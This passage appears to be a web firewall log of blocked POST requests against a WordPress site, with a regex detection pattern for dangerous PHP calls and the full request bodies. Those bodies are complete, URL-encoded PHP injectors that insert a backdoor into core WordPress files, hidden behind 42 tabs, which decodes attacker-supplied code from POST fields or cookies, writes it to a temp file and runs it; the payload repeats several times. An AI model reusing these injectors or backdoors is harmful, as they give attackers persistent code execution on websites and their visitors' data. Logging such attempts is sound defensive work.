Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:4051\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\n\nPm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Ed25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%2529%2529%257B%2520%2524hld%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%253B%2520%2524k%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524w%253D0%253B%2520%2524w%253Cstrlen%2528%2524fac%2529%253B%2520%2524w%252B%252B%2529%257B%2524k%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524w%255D%2529%2520%255E%252042%2529%253B%257D%2520%2524token%2520%253D%25200%253B%2520do%2520%257B%2520%2524flag%2520%253D%2520%2524hld%255B%2524token%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524token%2520%253E%253D%2520count%2528%2524hld%2529%2529%2520break%253B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524elem%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524flag%252C%2520%2522.record%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524k%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524token%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:42:46","72.167.150.128","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Ed25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%2529%2529%257B%2520%2524hld%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%253B%2520%2524k%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524w%253D0%253B%2520%2524w%253Cstrlen%2528%2524fac%2529%253B%2520%2524w%252B%252B%2529%257B%2524k%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524w%255D%2529%2520%255E%252042%2529%253B%257D%2520%2524token%2520%253D%25200%253B%2520do%2520%257B%2520%2524flag%2520%253D%2520%2524hld%255B%2524token%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524token%2520%253E%253D%2520count%2528%2524hld%2529%2529%2520break%253B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524elem%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524flag%252C%2520%2522.record%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524k%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524token%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-length:4074\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Ed25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%2529%2529%257B%2520%2524hld%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%253B%2520%2524k%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524w%253D0%253B%2520%2524w%253Cstrlen%2528%2524fac%2529%253B%2520%2524w%252B%252B%2529%257B%2524k%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524w%255D%2529%2520%255E%252042%2529%253B%257D%2520%2524token%2520%253D%25200%253B%2520do%2520%257B%2520%2524flag%2520%253D%2520%2524hld%255B%2524token%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524token%2520%253E%253D%2520count%2528%2524hld%2529%2529%2520break%253B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524elem%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524flag%252C%2520%2522.record%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524k%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524token%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 18:42:51","78.142.18.172","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Mf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-item-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B87-87%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-64%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-83%252B87%255D%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520function%2520publish_content%2528%2524elem%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275bbc8e79%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524object%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524descriptor%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524symbol%252C%2520%2524object%2529%253B%2520fclose%2528%2524symbol%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522publish_content%2522%2529%253B%2520%2524tkn%2520%253D%2520%25223d9cb44b5e061d5f685842ae25729313%2522%253B%2520if%2520%2528%2521strncmp%2528%2524tkn%252C%2520%2524descriptor%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522reverse_searcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGJLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:4378\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\n\nMf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-item-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B87-87%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-64%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-83%252B87%255D%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520function%2520publish_content%2528%2524elem%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275bbc8e79%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524object%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524descriptor%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524symbol%252C%2520%2524object%2529%253B%2520fclose%2528%2524symbol%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522publish_content%2522%2529%253B%2520%2524tkn%2520%253D%2520%25223d9cb44b5e061d5f685842ae25729313%2522%253B%2520if%2520%2528%2521strncmp%2528%2524tkn%252C%2520%2524descriptor%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522reverse_searcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:43:50","217.217.254.45","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-item-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B87-87%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-64%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-83%252B87%255D%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520function%2520publish_content%2528%2524elem%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275bbc8e79%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524object%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524descriptor%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524symbol%252C%2520%2524object%2529%253B%2520fclose%2528%2524symbol%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522publish_content%2522%2529%253B%2520%2524tkn%2520%253D%2520%25223d9cb44b5e061d5f685842ae25729313%2522%253B%2520if%2520%2528%2521strncmp%2528%2524tkn%252C%2520%2524descriptor%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522reverse_searcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq0bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:4378\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\n\nwJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-item-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B87-87%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B52%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-64%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-83%252B87%255D%2529%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520function%2520publish_content%2528%2524elem%2529%2520%257B%2520%2524descriptor%2520%253D%2520%2524_COOKIE%253B%2520%2524record%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275bbc8e79%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524record%2529%2529%2520%257B%2520%2524record%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524object%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524descriptor%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524record%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520fopen%2528%2524record%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524symbol%252C%2520%2524object%2529%253B%2520fclose%2528%2524symbol%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524record%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524record%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522publish_content%2522%2529%253B%2520%2524tkn%2520%253D%2520%25223d9cb44b5e061d5f685842ae25729313%2522%253B%2520if%2520%2528%2521strncmp%2528%2524tkn%252C%2520%2524descriptor%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522reverse_searcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7